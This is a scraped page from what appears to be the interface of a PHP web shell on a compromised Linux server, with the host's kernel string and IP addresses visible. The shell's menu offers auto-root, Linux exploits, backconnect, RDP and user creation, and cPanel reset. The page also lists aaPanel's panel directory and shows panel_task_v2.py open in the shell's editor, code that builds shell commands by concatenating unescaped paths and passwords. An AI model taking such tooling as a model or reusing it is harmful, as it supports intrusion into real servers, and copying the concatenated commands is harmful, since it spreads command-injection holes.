Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.149.27.125
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : panel_task_v2.py
#coding: utf-8 # ------------------------------------------------------------------- # aaPanel # ------------------------------------------------------------------- # Copyright (c) 2019-2099 aaPanel(www.aapanel.com) All rights reserved. # ------------------------------------------------------------------- # Author: hwliang <hwl@aapanel.com> # ------------------------------------------------------------------- # ------------------------------ # 消息队列 # ------------------------------ import json import time import public import sys import os import re from public.validate import Param os.chdir('/www/server/panel') if not 'class/' in sys.path: sys.path.insert(0,'class/') class bt_task: __table = 'task_list' __task_tips = '/dev/shm/bt_task_now.pl' __task_path = '/www/server/panel/tmp/' down_log_total_file = '/tmp/download_total.pl' not_web = False def __init__(self): # 创建数据表 sql = '''CREATE TABLE IF NOT EXISTS `task_list` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` TEXT, `type` TEXT, `status` INTEGER, `shell` TEXT, `other` TEXT, `exectime` INTEGER, `endtime` INTEGER, `addtime` INTEGER );''' public.M(None).execute(sql, ()) # 创建临时目录 if not os.path.exists(self.__task_path): os.makedirs(self.__task_path, 384) # 取任务列表 def get_task_list(self, status=-3): sql = public.M(self.__table) if status != -3: sql = sql.where('status=?', (status,)) data = sql.field( 'id,name,type,shell,other,status,exectime,endtime,addtime').select() return data # 取任务列表前端 def get_task_lists(self, get): # 校验参数 try: get.validate([ Param('status').Integer(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) sql = public.M(self.__table) if 'status' in get: if get.status == '-3': sql = sql.where('status=? OR status=?', (-1, 0)) else: sql = sql.where('status=?', (get.status,)) data = sql.field('id,name,type,shell,other,status,exectime,endtime,addtime').order( 'id asc').limit('10').select() if type(data) == str: public.WriteLog('TASK_QUEUE', data,not_web = self.not_web) return public.return_message(0,0,[]) if not 'num' in get: get.num = 15 num = int(get.num) for i in range(len(data)): data[i]['log'] = '' if data[i]['status'] == -1: data[i]['log'] = self.get_task_log( data[i]['id'], data[i]['type'], num) elif data[i]['status'] == 1: data[i]['log'] = self.get_task_log( data[i]['id'], data[i]['type'], 10) if data[i]['type'] == '3': data[i]['other'] = json.loads(data[i]['other']) return public.return_message(0,0,data) # 创建任务 def create_task(self, task_name, task_type, task_shell, other=''): self.clean_log() task_id = public.M(self.__table).add('name,type,shell,other,addtime,status', (task_name, task_type, task_shell, other, int(time.time()), 0)) public.WriteFile(self.__task_tips, 'True') public.ExecShell("/etc/init.d/bt start") if not public.M(self.__table).where('status=?', ('-1',)).count(): tip_file = "/dev/shm/.start_task.pl" tip_time = public.readFile(tip_file) if not tip_time or time.time() - int(tip_time) > 600: public.ExecShell("/www/server/panel/BT-Task") public.print_log("Background task restarted") return task_id # 修改任务 def modify_task(self, id, key, value): public.M(self.__table).where('id=?', (id,)).setField(key, value) return True # 删除任务 def remove_task(self, get): task_info = self.get_task_find(get.id) public.M(self.__table).where('id=?', (get.id,)).delete() if str(task_info['status']) == '-1': public.ExecShell( "kill -9 $(ps aux|grep 'task.py'|grep -v grep|awk '{print $2}')") if task_info['type'] == '1': public.ExecShell( "kill -9 $(ps aux|grep '{}')".format(task_info['other'])) time.sleep(1) if os.path.exists(task_info['other']): os.remove(task_info['other']) elif task_info['type'] == '3': z_info = json.loads(task_info['other']) if z_info['z_type'] == 'tar.gz': public.ExecShell( "kill -9 $(ps aux|grep 'tar -zcvf'|grep -v grep|awk '{print $2}')") elif z_info['z_type'] == 'rar': public.ExecShell( "kill -9 $(ps aux|grep /www/server/rar/rar|grep -v grep|awk '{print $2}')") elif z_info['z_type'] == 'zip': public.ExecShell( "kill -9 $(ps aux|grep '.zip -r'|grep -v grep|awk '{print $2}')") public.ExecShell( "kill -9 $(ps aux|grep '.zip\' -r'|grep -v grep|awk '{print $2}')") if os.path.exists(z_info['dfile']): os.remove(z_info['dfile']) elif task_info['type'] == '2': public.ExecShell( "kill -9 $(ps aux|grep 'tar -zxvf'|grep -v grep|awk '{print $2}')") public.ExecShell( "kill -9 $(ps aux|grep '/www/server/rar/unrar'|grep -v grep|awk '{print $2}')") public.ExecShell( "kill -9 $(ps aux|grep 'unzip -P'|grep -v grep|awk '{print $2}')") public.ExecShell( "kill -9 $(ps aux|grep 'gunzip -c'|grep -v grep|awk '{print $2}')") elif task_info['type'] == '0': public.ExecShell( "kill -9 $(ps aux|grep '"+task_info['shell']+"'|grep -v grep|awk '{print $2}')") public.ExecShell("/etc/init.d/bt start") return public.return_msg_gettext(True, public.lang("Task cancelled!")) # 取一条任务 def get_task_find(self, id): data = public.M(self.__table).where('id=?', (id,)).field( 'id,name,type,shell,other,status,exectime,endtime,addtime').find() return data # 执行任务 # task_type 0.执行shell 1.下载文件 2.解压文件 3.压缩文件 def execute_task(self, id, task_type, task_shell, other=''): if not os.path.exists(self.__task_path): os.makedirs(self.__task_path, 384) log_file = self.__task_path + str(id) + '.log' # 标记状态执行时间 self.modify_task(id, 'status', -1) self.modify_task(id, 'exectime', int(time.time())) task_type = int(task_type) # 开始执行 if task_type == 0: # 执行命令 public.ExecShell(task_shell + ' &> ' + log_file) elif task_type == 1: # 下载文件 if os.path.exists(self.down_log_total_file): os.remove(self.down_log_total_file) public.ExecShell( "wget -O '{}' '{}' --no-check-certificate -T 30 -t 5 -d &> {}".format(other, task_shell, log_file)) if os.path.exists(log_file): os.remove(log_file) elif task_type == 2: # 解压文件 zip_info = json.loads(other) self._unzip(task_shell, zip_info['dfile'], zip_info['password'], log_file) elif task_type == 3: # 压缩文件 zip_info = json.loads(other) if not 'z_type' in zip_info: zip_info['z_type'] = 'tar.gz' print(self._zip( task_shell, zip_info['sfile'], zip_info['dfile'], log_file, zip_info['z_type'])) elif task_type == 4: # 备份数据库 self.backup_database(task_shell, log_file) elif task_type == 5: # 导入数据库 self.input_database(task_shell, other, log_file) elif task_type == 6: # 备份网站 self.backup_site(task_shell, log_file) elif task_type == 7: # 恢复网站 pass # 标记状态与结束时间 self.modify_task(id, 'status', 1) self.modify_task(id, 'endtime', int(time.time())) # 开始检测任务 def start_task(self): noe = False n = 0 tip_file = '/dev/shm/.start_task.pl' while True: try: time.sleep(1) public.writeFile(tip_file, str(int(time.time()))) n += 1 if not os.path.exists(self.__task_tips) and noe and n < 60: continue if os.path.exists(self.__task_tips): os.remove(self.__task_tips) n = 0 public.M(self.__table).where( 'status=?', ('-1',)).setField('status', 0) task_list = self.get_task_list(0) for task_info in task_list: self.execute_task( task_info['id'], task_info['type'], task_info['shell'], task_info['other']) noe = True except: print(public.get_error_info()) # 前端通过任务ID取某一个任务的日志 def get_task_log_by_id(self, get): task_id = get.id task_type = get.task_type log_data = {} if "num" in get: num = int(get.num) log_data = self.get_task_log(task_id, task_type, num) else: log_data = self.get_task_log(task_id, task_type) task_obj = self.get_task_find(task_id) log_data["status"] = task_obj["status"] return log_data # 取任务执行日志 def get_task_log(self, id, task_type, num=5): log_file = self.__task_path + str(id) + '.log' if not os.path.exists(log_file): data = '' if(task_type == '1'): data = {'name': public.lang("Download file"), 'total': 0, 'used': 0, 'pre': 0, 'speed': 0, 'time': 0} return data if(task_type == '1'): total = 0 if not os.path.exists(self.down_log_total_file): f = open(log_file, 'r') head = f.read(4096) content_length = re.findall(r"Length:\s+(\d+)", head) if content_length: total = int(content_length[0]) public.writeFile(self.down_log_total_file, content_length[0]) else: total = public.readFile(self.down_log_total_file) if not total: total = 0 total = int(total) filename = public.M(self.__table).where( 'id=?', (id,)).getField('shell') speed_tmp = public.ExecShell("tail -n 2 {}".format(log_file))[0] speed_total = re.findall( r"([\d\.]+[BbKkMmGg]).+\s+(\d+)%\s+([\d\.]+[KMBGkmbg])\s+(\w+[sS])", speed_tmp) if not speed_total: data = {'name':public.get_msg_gettext('Download file {}',(filename,)),'total':0,'used':0,'pre':0,'speed':0,'time':0} else: speed_total = speed_total[0] used = speed_total[0] if speed_total[0].lower().find('k') != -1: used = public.to_size( float(speed_total[0].lower().replace('k', '')) * 1024) u_time = speed_total[3].replace( 'h', 'Hour').replace('m', 'Minute').replace('s', 'Second') data = {'name': public.get_msg_gettext('Download file {}',(filename,)),'total': total, 'used': used, 'pre': speed_total[1], 'speed': speed_total[2], 'time': u_time} else: data = public.ExecShell("tail -n {} {}".format(num, log_file))[0] if type(data) == list: return '' if isinstance(data,bytes): data = data.decode('utf-8') data = data.replace('\x08', '').replace('\n', '<br>') return data # 清理任务日志 def clean_log(self): import shutil s_time = int(time.time()) timeout = 86400 for f in os.listdir(self.__task_path): filename = self.__task_path + f c_time = os.stat(filename).st_ctime if s_time - c_time > timeout: if os.path.isdir(filename): shutil.rmtree(filename) else: os.remove(filename) return True # 文件压缩 def _zip(self, path, sfile, dfile, log_file, z_type='tar.gz'): if sys.version_info[0] == 2: sfile = sfile.encode('utf-8') dfile = dfile.encode('utf-8') if sys.version_info[0] == 2: path = path.encode('utf-8') if sfile.find(',') == -1: if not os.path.exists(path+'/'+sfile): return public.return_msg_gettext(False, public.lang("Configuration file not exist")) # 处理多文件压缩 sfiles = '' for sfile in sfile.split(','): if not sfile: continue sfiles += " '" + sfile + "'" # 判断压缩格式 if z_type == 'zip': public.ExecShell("cd '"+path+"' && zip '"+dfile + "' -r "+sfiles+" &> "+log_file) elif z_type == 'tar.gz': public.ExecShell("cd '" + path + "' && tar -zcvf '" + dfile + "' " + sfiles + " &> " + log_file) elif z_type == 'rar': rar_file = '/www/server/rar/rar' if not os.path.exists(rar_file): self.install_rar() public.ExecShell("cd '" + path + "' && "+rar_file + " a -r '" + dfile + "' " + sfiles + " &> " + log_file) elif z_type == '7z': _7z_bin = self.get_7z_bin() if not _7z_bin: self.install_7zip() err_msg = 'The p7zip component is not installed, an automatic installation has been attempted, please wait a few minutes and try again!' public.WriteLog("File manager","Failed to compress file, reason: {}, file: {}".format(err_msg,sfile)) return public.returnMsg(False, err_msg) public.ExecShell("cd {} && {} a -t7z {} {} -y &> {}".format(path, _7z_bin, dfile, sfiles, log_file)) else: return public.return_msg_gettext(False, public.lang("Specified compression format is not supported!")) self.set_file_accept(dfile) #public.WriteLog("TYPE_FILE", 'Compression succeeded!', (sfiles, dfile),not_web = self.not_web) public.write_log_gettext("File manager", 'Compressed file [ {} ] to [ {} ] success', (sfiles, dfile)) return public.return_msg_gettext(True, public.lang("Compression succeeded!")) # 文件解压 def _unzip(self, sfile, dfile, password, log_file): if sys.version_info[0] == 2: sfile = sfile.encode('utf-8') dfile = dfile.encode('utf-8') if not os.path.exists(sfile): return public.return_msg_gettext(False, public.lang("Configuration file not exist")) # 判断压缩包格式 if sfile[-4:] == '.zip': public.ExecShell("unzip -P '"+password+"' -o '" + sfile + "' -d '" + dfile + "' &> " + log_file) elif sfile[-7:] == '.tar.gz' or sfile[-4:] == '.tgz': public.ExecShell("tar zxvf '" + sfile + "' -C '" + dfile + "' &> " + log_file) elif sfile[-4:] == '.rar': rar_file = '/www/server/rar/unrar' if not os.path.exists(rar_file): self.install_rar() pass_opt = '-p-' if password: password = password.replace("&",r"\&").replace('"','\"') pass_opt = '-p"{}"'.format(password) public.ExecShell(rar_file + ' x '+ pass_opt +' -u -y "' + sfile + '" "' + dfile + '" &> ' + log_file) elif sfile[-4:] == '.war': public.ExecShell("unzip -P '"+password+"' -o '" + sfile + "' -d '" + dfile + "' &> " + log_file) elif sfile[-4:] == '.bz2': public.ExecShell("tar jxvf '" + sfile + "' -C '" + dfile + "' &> " + log_file) elif sfile[-3:] == '.7z': _7zbin = self.get_7z_bin() if not _7zbin: self.install_7zip() err_msg = 'The p7zip component is not installed, an automatic installation has been attempted, please wait a few minutes and try again!' public.WriteLog("File manager","Failed to compress file, reason: {}, file: {}".format(err_msg,sfile)) return public.returnMsg(False, err_msg) pass_opt = "" if password: pass_opt = '-p"{}"'.format(password) public.ExecShell('{} x "{}" -o"{}" -y {} &> {}'.format(_7zbin,sfile,dfile,pass_opt,log_file)) else: public.ExecShell("gunzip -c " + sfile + " > " + sfile[:-3]) # 异常处理 log_msg = public.readFile(log_file) err_msg = None if log_msg: if log_msg.find("incorrect password") != -1 \ or log_msg.find("The specified password is incorrect.") != -1 \ or log_msg.find("Data Error in encrypted file. Wrong password") != -1: err_msg = 'Decompression password error!' public.WriteLog("File manager","Unzip file failed, reason: {}, file: {}".format(err_msg,sfile)) elif log_msg.find("unsupported compression method 99") != -1: err_msg = 'Unsupported Zip encryption and compression, only ZIP traditional encryption is supported for ZIP archives!' public.WriteLog("File manager","Unzip file failed, reason: {}, file: {}".format(err_msg,sfile)) elif log_msg.find("is not RAR archive") != -1: err_msg = "It is not a rar archive, check whether to modify the file with the extension rar for other compression formats!" public.WriteLog("File manager","Unzip file failed, reason: {}, file: {}".format(err_msg,sfile)) elif log_msg.find("gzip: stdin") != -1: public.ExecShell("tar xvf '" + sfile + "' -C '" + dfile + "' &> " + log_file) if err_msg: return public.returnMsg(False, err_msg) # 检查是否设置权限 if self.check_dir(dfile): sites_path = public.M('config').where( 'id=?', (1,)).getField('sites_path') if dfile.find('/www/wwwroot') != -1 or dfile.find(sites_path) != -1: self.set_file_accept(dfile) else: import pwd user = pwd.getpwuid(os.stat(dfile).st_uid).pw_name public.ExecShell("chown %s:%s %s" % (user, user, dfile)) #public.WriteLog("TYPE_FILE", 'Uncompression succeeded!', (sfile, dfile),not_web = self.not_web) public.write_log_gettext("File manager", 'unzip file [ {} ] -> [ {} ] success', (sfile, dfile)) return public.return_msg_gettext(True, public.lang("Uncompression succeeded!")) def get_7z_bin(self): ''' @name 获取7z命令路径 @author hwliang @return {string} 7z命令路径 ''' _7z_bins = ["/usr/bin/7z","/usr/bin/7za","/usr/bin/7zr"] for _7z_bin in _7z_bins: if os.path.exists(_7z_bin): return _7z_bin return None def install_7zip(self): ''' @name 安装7zip @author hwliang @return {bool} True/False ''' _7z_bin = self.get_7z_bin() if _7z_bin: return True # 是否已经尝试安装过 install_tip = '{}/data/7z_install.pl'.format(public.get_panel_path()) if os.path.exists(install_tip): return False if os.path.exists("/usr/bin/apt-get"): public.ExecShell("nohup apt-get -y install p7zip-full &> /dev/null &") elif os.path.exists("/usr/bin/yum"): public.ExecShell("nohup yum -y install p7zip &> /dev/null &") elif os.path.exists("/usr/bin/dnf"): public.ExecShell("nohup dnf -y install p7zip &> /dev/null &") else: return False return True # 备份网站 def backup_site(self, id, log_file): find = public.M('sites').where( "id=?", (id,)).field('name,path,id').find() fileName = find['name']+'_' + \ time.strftime('%Y%m%d_%H%M%S', time.localtime())+'.zip' backupPath = public.M('config').where( 'id=?', (1,)).getField('backup_path') + '/site' zipName = backupPath + '/'+fileName if not (os.path.exists(backupPath)): os.makedirs(backupPath) execStr = "cd '" + find['path'] + "' && zip '" + \ zipName + "' -x .user.ini -r ./ &> " + log_file public.ExecShell(execStr) sql = public.M('backup').add('type,name,pid,filename,size,addtime', (0, fileName, find['id'], zipName, 0, public.getDate())) public.WriteLog('TYPE_SITE', 'SITE_BACKUP_SUCCESS', (find['name'],),not_web = self.not_web) return public.return_msg_gettext(True, public.lang("Backup Succeeded!")) # 备份数据库 def backup_database(self, id, log_file): name = public.M('databases').where("id=?", (id,)).getField('name') find = public.M('config').where('id=?', (1,)).field( 'mysql_root,backup_path').find() if not os.path.exists(find['backup_path'] + '/database'): public.ExecShell('mkdir -p ' + find['backup_path'] + '/database') self.mypass(True, find['mysql_root']) fileName = name + '_' + \ time.strftime('%Y%m%d_%H%M%S', time.localtime()) + '.sql.gz' backupName = find['backup_path'] + '/database/' + fileName public.ExecShell("/www/server/mysql/bin/mysqldump --force --opt \"" + name + "\" | gzip > " + backupName) if not os.path.exists(backupName): return public.return_msg_gettext(False, public.lang("Backup error!")) self.mypass(False, find['mysql_root']) sql = public.M('backup') addTime = time.strftime('%Y-%m-%d %X', time.localtime()) sql.add('type,name,pid,filename,size,addtime', (1, fileName, id, backupName, 0, addTime)) public.WriteLog("TYPE_DATABASE", "DATABASE_BACKUP_SUCCESS", (name,),not_web = self.not_web) return public.return_msg_gettext(True, public.lang("Backup Succeeded!")) # 导入数据库 def input_database(self, id, file, log_file): name = public.M('databases').where("id=?", (id,)).getField('name') root = public.M('config').where('id=?', (1,)).getField('mysql_root') tmp = file.split('.') exts = ['sql', 'gz', 'zip'] ext = tmp[len(tmp) - 1] if ext not in exts: return public.return_msg_gettext(False, public.lang("Select sql/gz/zip file!")) isgzip = False if ext != 'sql': tmp = file.split('/') tmpFile = tmp[len(tmp)-1] tmpFile = tmpFile.replace('.sql.' + ext, '.sql') tmpFile = tmpFile.replace('.' + ext, '.sql') tmpFile = tmpFile.replace('tar.', '') backupPath = public.M('config').where( 'id=?', (1,)).getField('backup_path') + '/database' if ext == 'zip': public.ExecShell("cd " + backupPath + " && unzip " + file) else: public.ExecShell("cd " + backupPath + " && tar zxf " + file) if not os.path.exists(backupPath + "/" + tmpFile): public.ExecShell("cd " + backupPath + " && gunzip -q " + file) isgzip = True if not os.path.exists(backupPath + '/' + tmpFile) or tmpFile == '': return public.return_msg_gettext(False, 'Configuration file not exist', (tmpFile,)) self.mypass(True, root) public.ExecShell(public.GetConfigValue('setup_path') + "/mysql/bin/mysql -uroot -p" + root + " --force \"" + name + "\" < " + backupPath + '/' + tmpFile) self.mypass(False, root) if isgzip: public.ExecShell('cd ' + backupPath + ' && gzip ' + file.split('/')[-1][:-3]) else: public.ExecShell("rm -f " + backupPath + '/' + tmpFile) else: self.mypass(True, root) public.ExecShell(public.GetConfigValue( 'setup_path') + "/mysql/bin/mysql -uroot -p" + root + " --force \"" + name + "\" < " + file) self.mypass(False, root) public.WriteLog("TYPE_DATABASE", 'Successfully imported database [{}]', (name,),not_web = self.not_web) return public.return_msg_gettext(True, public.lang("Successfully imported database!")) # 配置 def mypass(self, act, root): my_cnf = '/etc/my.cnf' public.ExecShell("sed -i '/user=root/d' " + my_cnf) public.ExecShell("sed -i '/password=/d' " + my_cnf) if act: mycnf = public.readFile(my_cnf) rep = "\\[mysqldump\\]\nuser=root" sea = "[mysqldump]\n" subStr = sea + "user=root\npassword=\"" + root + "\"\n" mycnf = mycnf.replace(sea, subStr) if len(mycnf) > 100: public.writeFile(my_cnf, mycnf) # 设置权限 def set_file_accept(self, filename): # public.ExecShell('chown -R www:www ' + filename) # public.ExecShell('chmod -R 755 ' + filename) import files from collections import namedtuple get = namedtuple('get',['path']) get.path = filename files.files().fix_permissions(get) # 检查敏感目录 def check_dir(self, path): path = path.replace('//', '/') if path[-1:] == '/': path = path[:-1] nDirs = ('', '/', '/*', '/www', '/root', '/boot', '/bin', '/etc', '/home', '/dev', '/sbin', '/var', '/usr', '/tmp', '/sys', '/proc', '/media', '/mnt', '/opt', '/lib', '/srv', '/selinux', '/www/server', '/www/server/data', public.GetConfigValue('logs_path'), public.GetConfigValue('setup_path')) return not path in nDirs # 安装rar组件 def install_rar(self): unrar_file = '/www/server/rar/unrar' rar_file = '/www/server/rar/rar' bin_unrar = '/usr/local/bin/unrar' bin_rar = '/usr/local/bin/rar' if os.path.exists(unrar_file) and os.path.exists(bin_unrar): try: import rarfile except: public.ExecShell("pip install rarfile") return True import platform os_bit = '' if platform.machine() == 'x86_64': os_bit = '-x64' download_url = public.get_url() + '/src/rarlinux'+os_bit+'-5.6.1.tar.gz' tmp_file = '/tmp/bt_rar.tar.gz' public.ExecShell('wget -O ' + tmp_file + ' ' + download_url) if os.path.exists(unrar_file): public.ExecShell("rm -rf /www/server/rar") public.ExecShell("tar xvf " + tmp_file + ' -C /www/server/') if os.path.exists(tmp_file): os.remove(tmp_file) if not os.path.exists(unrar_file): return False if os.path.exists(bin_unrar): os.remove(bin_unrar) if os.path.exists(bin_rar): os.remove(bin_rar) public.ExecShell('ln -sf ' + unrar_file + ' ' + bin_unrar) public.ExecShell('ln -sf ' + rar_file + ' ' + bin_rar) #public.ExecShell("pip install rarfile") return True if __name__ == '__main__': p = bt_task() #p.create_task('测试执行SHELL',0,'yum install wget -y','') # print(p.get_task_list()) # p.modify_task(3,'status',0) #p.modify_task(3,'shell','bash /www/server/panel/install/install_soft.sh 0 update php 5.6') # p.modify_task(1,'other','{"sfile":"BTPanel","dfile":"/www/test.rar","z_type":"rar"}') p.start_task() # p._zip(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
Close